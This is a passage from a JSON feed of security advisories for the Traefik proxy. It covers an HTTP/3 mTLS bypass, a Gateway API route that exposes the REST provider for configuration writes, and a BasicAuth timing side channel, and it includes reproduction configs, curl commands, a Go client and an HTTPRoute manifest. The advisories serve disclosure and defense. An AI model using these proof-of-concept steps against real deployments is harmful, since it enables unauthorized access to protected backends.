case-insensitive `Host` rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.\n\nPreconditions:\n\n- HTTP/3 is enabled on the affected entrypoint.\n- A router-specific `TLSOptions` configuration enforces client certificate authentication.\n- The default/fallback TLS configuration does not require client certificates.\n- UDP access to the HTTP/3 entrypoint is reachable by the attacker.\n\nMinimal wildcard dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`*.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal exact-host dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`api.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.1\n    command:\n      - --log.level=DEBUG\n      - --entrypoints.websecure.address=:8443\n      - --entrypoints.websecure.http3\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --providers.file.watch=false\n    ports:\n      - \"8443:8443/tcp\"\n      - \"8443:8443/udp\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n      - ./certs:/certs:ro\n    depends_on:\n      - protected\n\n  protected:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PROTECTED\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7   -keyout certs/ca.key   -out certs/ca.crt   -subj \"/CN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes   -keyout certs/server.key   -out certs/server.csr   -subj \"/CN=api.example.com\"   -addext \"subjectAltName=DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req   -in certs/server.csr   -CA certs/ca.crt   -CAkey certs/ca.key   -CAcreateserial   -out certs/server.crt   -days 7   -sha256   -copy_extensions copyall\n```\n\nThe mixed-case HTTP/3 client used for the exact-host case:\n\n```go\npackage main\n\nimport (\n    \"crypto/tls\"\n    \"fmt\"\n    \"io\"\n    \"net/http\"\n    \"os\"\n    \"time\"\n\n    \"github.com/quic-go/quic-go/http3\"\n)\n\nfunc main() {\n    serverName := os.Getenv(\"TLS_SERVER_NAME\")\n    if serverName == \"\" {\n        serverName = \"API.EXAMPLE.COM\"\n    }\n\n    host := os.Getenv(\"HTTP_HOST\")\n    if host == \"\" {\n        host = \"API.EXAMPLE.COM\"\n    }\n\n    tr := \u0026http3.Transport{\n        TLSClientConfig: \u0026tls.Config{\n            ServerName:         serverName,\n            InsecureSkipVerify: true,\n        },\n    }\n    defer tr.Close()\n\n    client := \u0026http.Client{Transport: tr, Timeout: 8 * time.Second}\n\n    req, err := http.NewRequest(http.MethodGet, \"https://127.0.0.1:8443/\", nil)\n    if err != nil {\n        panic(err)\n    }\n    req.Host = host\n\n    resp, err := client.Do(req)\n    if err != nil {\n        fmt.Fprintln(os.Stderr, err)\n        os.Exit(1)\n    }\n    defer resp.Body.Close()\n\n    fmt.Println(resp.Proto, resp.StatusCode)\n    body, _ := io.ReadAll(resp.Body)\n    fmt.Print(string(body))\n}\n```\n\n### PoC\n\nWildcard bypass:\n\n1. Start Traefik with the wildcard dynamic configuration above.\n2. Control over TCP/TLS:\n\n```bash\ncurl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. HTTP/3 bypass:\n\n```bash\ncurl --noproxy '*' --http3-only -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nHTTP/3 200\nName: PROTECTED\nHost: api.example.com:8443\n```\n\nExact-host mixed-case bypass:\n\n1. Start Traefik with the exact-host dynamic configuration above.\n2. Control over TCP/TLS:\n\n```bash\ncurl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. Mixed-case HTTP/2 control:\n\n```bash\ncurl --noproxy '*' --http2 -skv   --resolve API.EXAMPLE.COM:8443:127.0.0.1   https://API.EXAMPLE.COM:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nThis control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with `certificate required`.\n\n4. HTTP/3 bypass with the same mixed-case hostname:\n\n```bash\nTLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM   go run ./h3-case-client.go\n```\n\nObserved result:\n\n```text\nHTTP/3.0 200\nName: PROTECTED\nHost: API.EXAMPLE.COM\n```\n\nLocal regression tests used during validation:\n\n```bash\ngo test ./pkg/server/router/tcp   -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$'   -count=1\n```\n\nThese tests were added locally during analysis to demonstrate the current behavior of `GetTLSGetClientInfo()`. They are not required to reproduce the issue; the Docker and `curl`/HTTP3 commands above are the end-to-end reproduction.\n\nVersion matrix observed with Docker images:\n\n```text\nwildcard H3 bypass: affected on v3.7.0 and v3.7.1\nexact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1\n```\n\nThe wildcard case was tested on v3.7.x because wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in v3.7.0.\n\n### Impact\n\nDeployments that use router `TLSOptions` as an access-control boundary for HTTP/3 can expose protected backends without client authentication.\n\nThe highest-impact case is mTLS:\n\n- normal HTTP/2/TCP access to the protected host requires a client certificate\n- HTTP/3 access to the same route falls back to the default TLS config\n- the request is then routed to the protected backend without satisfying the route's mTLS policy\n\nThis can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.\n\nPossible workarounds until a fix is available:\n\n- Disable HTTP/3 on entrypoints that rely on router-specific mTLS.\n- Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.\n- Block UDP access to the HTTP/3 entrypoint.\n- Enforce client authentication at an additional layer behind Traefik.\n\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-16T21:04:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-9cr8-q42q-g8m7","https://github.com/traefik/traefik/releases/tag/v3.7.3","https://nvd.nist.gov/vuln/detail/CVE-2026-53622","https://github.com/traefik/traefik/pull/13214","https://access.redhat.com/errata/RHSA-2026:62260","https://access.redhat.com/security/cve/CVE-2026-53622","https://bugzilla.redhat.com/show_bug.cgi?id=2491924","https://community.traefik.io/t/new-security-update-for-traefik-2-11-2-11-48-3-6-3-6-19-and-3-7-3-7-3/29917","https://github.com/traefik/traefik/compare/v3.6.17...v3.6.18","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53622.json","https://github.com/advisories/GHSA-9cr8-q42q-g8m7"],"source_kind":"github","identifiers":["GHSA-9cr8-q42q-g8m7","CVE-2026-53622"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T22:00:08.909Z","updated_at":"2026-10-17T07:05:53.765Z","epss_percentage":0.00629,"epss_percentile":0.48514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Y3I4LXE0MnEtZzhtN84ABY02","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Y3I4LXE0MnEtZzhtN84ABY02","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.18","vulnerable_version_range":"\u003c= 3.6.17"},{"first_patched_version":"3.7.3","vulnerable_version_range":"\u003e= 3.7.0, \u003c= 3.7.2"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3","statistics":{"dependent_packages_count":0,"dependent_repos_count":2,"downloads":null,"downloads_period":null},"affected_versions":["v3.0.0","v3.0.0-beta1","v3.0.0-beta2","v3.0.0-beta3","v3.0.0-beta4","v3.0.0-beta5","v3.0.0-rc1","v3.0.0-rc2","v3.0.0-rc3","v3.0.0-rc4","v3.0.0-rc5","v3.0.1","v3.0.2","v3.0.3","v3.0.4","v3.1.0","v3.1.0-rc1","v3.1.0-rc2","v3.1.0-rc3","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.1.6","v3.1.7","v3.2.0","v3.2.0-rc1","v3.2.0-rc2","v3.2.1","v3.2.2","v3.2.3","v3.2.4","v3.2.5","v3.3.0","v3.3.0-rc1","v3.3.0-rc2","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.3.6","v3.3.7","v3.4.0","v3.4.0-rc1","v3.4.0-rc2","v3.4.1","v3.4.2","v3.4.3","v3.4.4","v3.4.5","v3.5.0","v3.5.0-rc1","v3.5.0-rc2","v3.5.1","v3.5.2","v3.5.3","v3.5.4","v3.5.5","v3.5.6","v3.6.0","v3.6.0-rc1","v3.6.1","v3.6.2","v3.6.3","v3.6.4","v3.6.5","v3.6.6","v3.6.7","v3.6.8","v3.6.9","v3.6.10","v3.6.11","v3.6.12","v3.6.13","v3.6.14","v3.6.15","v3.6.16","v3.6.17","v3.7.0","v3.7.1","v3.7.2"],"unaffected_versions":["v3.6.18","v3.6.19","v3.6.20","v3.6.21","v3.6.22","v3.6.23","v3.6.24","v3.6.25","v3.7.3","v3.7.4","v3.7.5","v3.7.6","v3.7.7","v3.7.8","v3.7.9","v3.7.10","v3.7.11","v3.7.12","v3.7.13","v3.7.14"]},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.51","vulnerable_version_range":"\u003c= 2.11.50"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2","statistics":{"dependent_packages_count":44,"dependent_repos_count":52,"downloads":null,"downloads_period":null},"affected_versions":["v2.0.0","v2.0.0-alpha1","v2.0.0-alpha2","v2.0.0-alpha3","v2.0.0-alpha4","v2.0.0-alpha5","v2.0.0-alpha6","v2.0.0-alpha7","v2.0.0-alpha8","v2.0.0-beta1","v2.0.0-rc1","v2.0.0-rc2","v2.0.0-rc3","v2.0.0-rc4","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.6","v2.0.7","v2.1.0","v2.1.0-rc1","v2.1.0-rc2","v2.1.0-rc3","v2.1.1","v2.1.2","v2.1.3","v2.1.4","v2.1.5","v2.1.6","v2.1.7","v2.1.8","v2.1.9","v2.2.0","v2.2.0-rc1","v2.2.0-rc2","v2.2.0-rc3","v2.2.0-rc4","v2.2.1","v2.2.2","v2.2.3","v2.2.4","v2.2.5","v2.2.6","v2.2.7","v2.2.8","v2.2.10","v2.2.11","v2.3.0","v2.3.0-rc1","v2.3.0-rc2","v2.3.0-rc3","v2.3.0-rc4","v2.3.0-rc5","v2.3.0-rc6","v2.3.0-rc7","v2.3.1","v2.3.2","v2.3.3","v2.3.4","v2.3.5","v2.3.6","v2.3.7","v2.4.0","v2.4.0-rc1","v2.4.0-rc2","v2.4.1","v2.4.2","v2.4.3","v2.4.4","v2.4.5","v2.4.6","v2.4.7","v2.4.8","v2.4.9","v2.4.10","v2.4.11","v2.4.12","v2.4.13","v2.4.14","v2.5.0","v2.5.0-rc1","v2.5.0-rc2","v2.5.0-rc3","v2.5.0-rc4","v2.5.0-rc5","v2.5.0-rc6","v2.5.1","v2.5.2","v2.5.3","v2.5.4","v2.5.5","v2.5.6","v2.5.7","v2.6.0","v2.6.0-rc1","v2.6.0-rc2","v2.6.0-rc3","v2.6.1","v2.6.2","v2.6.3","v2.6.4","v2.6.5","v2.6.6","v2.6.7","v2.7.0","v2.7.0-rc1","v2.7.0-rc2","v2.7.1","v2.7.2","v2.7.3","v2.8.0","v2.8.0-rc1","v2.8.0-rc2","v2.8.1","v2.8.2","v2.8.3","v2.8.4","v2.8.5","v2.8.6","v2.8.7","v2.8.8","v2.9.0","v2.9.0-rc1","v2.9.0-rc2","v2.9.0-rc3","v2.9.0-rc4","v2.9.0-rc5","v2.9.1","v2.9.2","v2.9.3","v2.9.4","v2.9.5","v2.9.6","v2.9.7","v2.9.8","v2.9.9","v2.9.10","v2.10.0","v2.10.0-rc1","v2.10.0-rc2","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.10.6","v2.10.7","v2.11.0","v2.11.0-rc1","v2.11.0-rc2","v2.11.1","v2.11.2","v2.11.3","v2.11.4","v2.11.5","v2.11.6","v2.11.7","v2.11.8","v2.11.9","v2.11.10","v2.11.11","v2.11.12","v2.11.13","v2.11.14","v2.11.15","v2.11.16","v2.11.17","v2.11.18","v2.11.19","v2.11.20","v2.11.21","v2.11.22","v2.11.23","v2.11.24","v2.11.25","v2.11.26","v2.11.27","v2.11.28","v2.11.29","v2.11.30","v2.11.31","v2.11.32","v2.11.33","v2.11.34","v2.11.35","v2.11.36","v2.11.37","v2.11.38","v2.11.39","v2.11.40","v2.11.41","v2.11.42","v2.11.43","v2.11.44","v2.11.45","v2.11.46","v2.11.47","v2.11.48","v2.11.49","v2.11.50"],"unaffected_versions":["v2.11.51","v2.11.52","v2.11.53","v2.11.54","v2.11.55","v2.11.56","v2.11.57","v2.11.58"]},{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik","statistics":{"dependent_packages_count":4,"dependent_repos_count":2,"downloads":null,"downloads_period":null},"affected_versions":["v1.0.0","v1.0.0-beta.211","v1.0.0-beta.212","v1.0.0-beta.220","v1.0.0-beta.224","v1.0.0-beta.247","v1.0.0-beta.254","v1.0.0-beta.277","v1.0.0-beta.280","v1.0.0-beta.287","v1.0.0-beta.289","v1.0.0-beta.291","v1.0.0-beta.300","v1.0.0-beta.324","v1.0.0-beta.339","v1.0.0-beta.341","v1.0.0-beta.352","v1.0.0-beta.355","v1.0.0-beta.366","v1.0.0-beta.374","v1.0.0-beta.392","v1.0.0-beta.395","v1.0.0-beta.404","v1.0.0-beta.408","v1.0.0-beta.416","v1.0.0-beta.421","v1.0.0-beta.427","v1.0.0-beta.433","v1.0.0-beta.436","v1.0.0-beta.440","v1.0.0-beta.442","v1.0.0-beta.453","v1.0.0-beta.470","v1.0.0-beta.475","v1.0.0-beta.481","v1.0.0-beta.484","v1.0.0-beta.505","v1.0.0-beta.508","v1.0.0-beta.513","v1.0.0-beta.524","v1.0.0-beta.545","v1.0.0-beta.548","v1.0.0-beta.555","v1.0.0-beta.573","v1.0.0-beta.576","v1.0.0-beta.582","v1.0.0-beta.601","v1.0.0-beta.610","v1.0.0-beta.614","v1.0.0-beta.621","v1.0.0-beta.644","v1.0.0-beta.652","v1.0.0-beta.666","v1.0.0-beta.673","v1.0.0-beta.676","v1.0.0-beta.682","v1.0.0-beta.692","v1.0.0-beta.695","v1.0.0-beta.704","v1.0.0-beta.712","v1.0.0-beta.721","v1.0.0-beta.723","v1.0.0-beta.732","v1.0.0-beta.744","v1.0.0-beta.754","v1.0.0-beta.756","v1.0.0-beta.767","v1.0.0-beta.771","v1.0.0-beta.784","v1.0.0-beta.794","v1.0.0-beta.804","v1.0.0-beta.809","v1.0.0-rc1","v1.0.0-rc2","v1.0.0-rc3","v1.0.1","v1.0.2","v1.0.3","v1.1.0","v1.1.0-rc1","v1.1.0-rc2","v1.1.0-rc3","v1.1.0-rc4","v1.1.1","v1.1.2","v1.2.0","v1.2.0-rc1","v1.2.0-rc2","v1.2.1","v1.2.2","v1.2.3","v1.3.0","v1.3.0-rc1","v1.3.0-rc2","v1.3.0-rc3","v1.3.1","v1.3.2","v1.3.3","v1.3.4","v1.3.5","v1.3.6","v1.3.7","v1.3.8","v1.4.0","v1.4.0-rc1","v1.4.0-rc2","v1.4.0-rc3","v1.4.0-rc4","v1.4.0-rc5","v1.4.1","v1.4.2","v1.4.3","v1.4.4","v1.4.5","v1.4.6","v1.5.0","v1.5.0-rc1","v1.5.0-rc2","v1.5.0-rc3","v1.5.0-rc4","v1.5.0-rc5","v1.5.1","v1.5.2","v1.5.3","v1.5.4","v1.6.0","v1.6.0-rc1","v1.6.0-rc2","v1.6.0-rc3","v1.6.0-rc4","v1.6.0-rc5","v1.6.0-rc6","v1.6.1","v1.6.2","v1.6.3","v1.6.4","v1.6.5","v1.6.6","v1.7.0","v1.7.0-rc1","v1.7.0-rc2","v1.7.0-rc3","v1.7.0-rc4","v1.7.0-rc5","v1.7.1","v1.7.2","v1.7.3","v1.7.4","v1.7.5","v1.7.6","v1.7.7","v1.7.8","v1.7.9","v1.7.10","v1.7.11","v1.7.12","v1.7.13","v1.7.14","v1.7.15","v1.7.16","v1.7.17","v1.7.18","v1.7.19","v1.7.20","v1.7.21","v1.7.22","v1.7.23","v1.7.24","v1.7.25","v1.7.26","v1.7.27","v1.7.28","v1.7.29","v1.7.30","v1.7.31","v1.7.32","v1.7.33","v1.7.34"],"unaffected_versions":[]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Y3I4LXE0MnEtZzhtN84ABY02/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05NnFqLTRqajUtd2NqY84ABWyL","url":"https://github.com/advisories/GHSA-96qj-4jj5-wcjc","title":"Traefik: Gateway API TraefikService backend accepts rest@internal, allowing unauthorized exposure of the REST provider despite providers.rest.insecure=false","description":"## Summary\n\nThere is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider that allows a tenant with `HTTPRoute` creation permissions to expose the REST provider handler, bypassing the `providers.rest.insecure=false` setting. The Gateway provider accepts any `TraefikService` backend reference whose name ends with `@internal`, making it possible to route traffic to `rest@internal` in addition to the intended `api@internal`. In shared Gateway deployments where the REST provider is enabled, this allows a low-privileged actor to gain live dynamic configuration write access to Traefik, enabling unauthorized reconfiguration of routers and services.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.46\n- https://github.com/traefik/traefik/releases/tag/v3.6.17\n- https://github.com/traefik/traefik/releases/tag/v3.7.1\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nWhen the Kubernetes Gateway API provider is enabled, Traefik accepts any `TraefikService` backend whose name ends with `@internal`. This allows a tenant-controlled `HTTPRoute` to publish `rest@internal`.\n\nIf `providers.rest` is enabled, this exposes Traefik's REST provider handler even when `providers.rest.insecure=false`, even though providers.rest.insecure=false is meant to keep the REST handler from being exposed by Traefik's built-in internal router. In a shared Gateway deployment, an actor with permission to create or update `HTTPRoute` resources in an allowed namespace can gain live Traefik dynamic-configuration write access through `PUT /api/providers/rest`.\n\n### Details\nThe Gateway provider treats internal services broadly rather than allowing only a specific internal target.\n\nIn current `master`, `pkg/provider/kubernetes/gateway/kubernetes.go` defines `isInternalService(...)` as any `TraefikService` reference whose name ends with `@internal`.\n\nThen `pkg/provider/kubernetes/gateway/httproute.go` special-cases a single backend reference that matches `isInternalService(...)` and directly assigns `router.Service = string(routeRule.BackendRefs[0].Name)`.\n\nThis means a tenant route can target not only `api@internal`, but also `rest@internal` and other internal handlers.\n\nSeparately, the REST provider handler is created whenever the REST provider is enabled. In `pkg/server/service/managerfactory.go`, if `staticConfiguration.Providers.Rest != nil`, Traefik sets `factory.restHandler = staticConfiguration.Providers.Rest.CreateRouter()`.\n\nThe REST provider handler itself is implemented in `pkg/provider/rest/rest.go` and accepts `PUT /api/providers/{provider}`.\n\nThe `providers.rest.insecure` flag does not disable the underlying handler. In `pkg/provider/traefik/internal.go`, that flag only controls whether Traefik creates its own built-in internal router for `rest@internal`. Even when `providers.rest.insecure=false`, Traefik still registers the `rest` service object, and the service layer can still resolve `rest@internal` if another provider routes to it.\n\nI validated this locally in two tests:\n1. the Gateway route-building path accepts `rest@internal` as an internal backend through the same special-case branch used for `api@internal`\n2. the service layer builds and serves `rest@internal` successfully when `providers.rest` is enabled and `providers.rest.insecure=false`\n\nThe vulnerable code path is present in:\n- `v3.0.0`\n- `v3.6.7`\n- `v2.11.0`\n- `v2.11.36`\n- current `master` at `786f7192e11878dfaa634f8263bf79bb730a71cb`\n\nI verified the issue in v3.0.0, v3.6.7, v2.11.0, v2.11.36, and current master; the reported affected ranges reflect the maintained release lines checked during validation\n\nI did not find a public Traefik advisory or CVE for this exact issue. The closest public overlap I found is the documented/tested Gateway support for `api@internal`, but the issue here is broader because the Gateway code accepts any `@internal` `TraefikService`, including the write-capable `rest@internal` handler.\n\n### Expected behavior\n`providers.rest.insecure=false` should prevent low-privileged route authors from exposing the REST provider handler.\n\n### Actual behavior\nA tenant-controlled Gateway route can still publish `rest@internal` and reach the REST update API.\n\n### Attacker prerequisites\n- The Kubernetes Gateway API provider is enabled.\n- `providers.rest=true`.\n- `providers.rest.insecure=false`.\n- A shared Gateway allows tenant namespaces to attach `HTTPRoute` resources.\n- The attacker can create or update `HTTPRoute` resources in an allowed tenant namespace.\n\n### PoC\n1. Configure Traefik so that the Kubernetes Gateway provider is enabled, the REST provider is enabled, and the REST provider is not exposed insecurely.\n\nExample static configuration:\n\n```yaml\nproviders:\n  kubernetesGateway: {}\n  rest:\n    insecure: false\n```\n\n2. Ensure a shared Gateway allows tenant `HTTPRoute` attachment.\n\n3. In an allowed tenant namespace, create an `HTTPRoute` whose backend points to `rest@internal`:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: expose-rest-internal\n  namespace: tenant-a\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: infra\n  hostnames:\n    - rest.tenant.example\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: rest@internal\n          port: 80\n```\n\n4. Send a `PUT` request through that published route to `/api/providers/rest` with a valid dynamic configuration body. A harmless proof can add a dummy router pointing to `noop@internal`.\n\nExample request body:\n\n```json\n{\n  \"http\": {\n    \"routers\": {\n      \"probe\": {\n        \"rule\": \"PathPrefix(`/probe`)\",\n        \"service\": \"noop@internal\",\n        \"ruleSyntax\": \"default\"\n      }\n    }\n  }\n}\n```\n\n5. Observe that Traefik accepts the update and applies the supplied dynamic configuration, even though `providers.rest.insecure=false`.\n\n### Impact\nThis is an authorization / trust-boundary bypass affecting shared Gateway deployments.\n\nOn affected deployments, an actor who should only be able to create or update `HTTPRoute` objects can escalate to live Traefik dynamic-configuration write access. That can allow unauthorized reconfiguration of routers and services, publication of additional internal surfaces, request interception or rerouting, and denial of service through destructive config changes.\n\nOn affected deployments, this gives a low-privileged Gateway route author live Traefik dynamic-configuration write access. This is critical for affected shared Gateway deployments because it can give a low-privileged route author live Traefik dynamic-configuration write access, but it depends on providers.rest being enabled.\n\nThis is not an unauthenticated vulnerability in all Traefik deployments. The issue depends on realistic but specific conditions:\n- `providers.rest` must be enabled\n- the attacker must be allowed to attach `HTTPRoute` resources to a shared Gateway\n\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-13T15:29:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H","references":["https://github.com/traefik/traefik/security/advisories/GHSA-96qj-4jj5-wcjc","https://github.com/traefik/traefik/releases/tag/v2.11.46","https://github.com/traefik/traefik/releases/tag/v3.6.17","https://github.com/traefik/traefik/releases/tag/v3.7.1","https://nvd.nist.gov/vuln/detail/CVE-2026-44774","https://github.com/advisories/GHSA-96qj-4jj5-wcjc"],"source_kind":"github","identifiers":["GHSA-96qj-4jj5-wcjc","CVE-2026-44774"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-13T16:00:09.158Z","updated_at":"2026-10-14T10:04:28.704Z","epss_percentage":0.0055,"epss_percentile":0.44529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NnFqLTRqajUtd2NqY84ABWyL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NnFqLTRqajUtd2NqY84ABWyL","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.46","vulnerable_version_range":"\u003c= 2.11.45"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.17","vulnerable_version_range":"\u003c= 3.6.16"},{"first_patched_version":"3.7.1","vulnerable_version_range":"= 3.7.0"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NnFqLTRqajUtd2NqY84ABWyL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02eDJxLWgzY3ItOGoyaM4ABVxI","url":"https://github.com/advisories/GHSA-6x2q-h3cr-8j2h","title":"Traefik: A timing side-channel vulnerability allows for valid username enumeration via BasicAuth middleware","description":"## Summary\n\nThere is a timing side-channel vulnerability in Traefik's BasicAuth middleware that allows an attacker to enumerate valid usernames through response-time differences.\n\nThe variable intended to hold a constant-time fallback secret always resolves to an empty string, causing the constant-time comparison to short-circuit in microseconds rather than performing a full bcrypt evaluation. This restores the original timing oracle and makes it possible to distinguish existing users from non-existing ones by measuring authentication response times.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# BasicAuth Timing Regression: CVE-2026-32595 Fix Is a No-Op Due to Map Key/Value Confusion\n\n## TL;DR\n\nThe patch for CVE-2026-32595 is a no-op. Line 49 of `basic_auth.go` has a\nmap key/value confusion that makes `notFoundSecret` always `\"\"`. The\n\"constant time\" fallback calls `goauth.CheckSecret(password, \"\")`, which\nfast-fails in ~1us instead of running bcrypt (~60ms).\n\n## Evidence (HEAD `786f7192e`, 2026-04-09)\n\nBlack-box PoC against live traefik binary on port 28080:\n\n| bucket                       | n   | median   | min      |\n|------------------------------|-----|----------|----------|\n| existing user (wrong pw)     | 240 | 62.85 ms | 57.54 ms |\n| nonexistent user (wrong pw)  | 400 |  0.48 ms |  0.35 ms |\n\nMedian ratio: **130.4x**. Classification: **8/8 correct**.\n\nGo in-tree test: `goauth.CheckSecret` direct ratio **12,746x**.\n\n## Root cause (4-step trace)\n\n1. `basic_auth.go:49`: `users[slices.Collect(maps.Values(users))[0]]` -- looks\n   up a hash as a username key, returns `\"\"`.\n2. `basic_auth.go:119-120`: calls `goauth.CheckSecret(password, \"\")`.\n3. `go-http-auth/basic.go:87`: empty string matches no prefix, falls to default\n   `compareMD5HashAndPassword`.\n4. `basic.go:107-109`: `bytes.SplitN(\"\", \"$\", 4)` returns length 1, function\n   returns instantly.\n\n## Files\n\n- `poc/exploit.py` -- black-box Python timing oracle\n- `poc/basic_auth_timing_regression_test.go` -- Go in-tree test\n- `poc/traefik.yml` + `poc/dynamic.yml` -- traefik config\n- `poc/live_http_poc_output_head.txt` -- verbatim PoC output on HEAD\n\n\nKoda Reef\n\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-24T20:36:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-6x2q-h3cr-8j2h","https://github.com/traefik/traefik/releases/tag/v2.11.43","https://github.com/traefik/traefik/releases/tag/v3.6.14","https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2","https://nvd.nist.gov/vuln/detail/CVE-2026-41263","https://github.com/advisories/GHSA-6x2q-h3cr-8j2h"],"source_kind":"github","identifiers":["GHSA-6x2q-h3cr-8j2h","CVE-2026-41263"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-24T21:00:09.011Z","updated_at":"2026-10-16T20:05:19.335Z","epss_percentage":0.00412,"epss_percentile":0.33528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR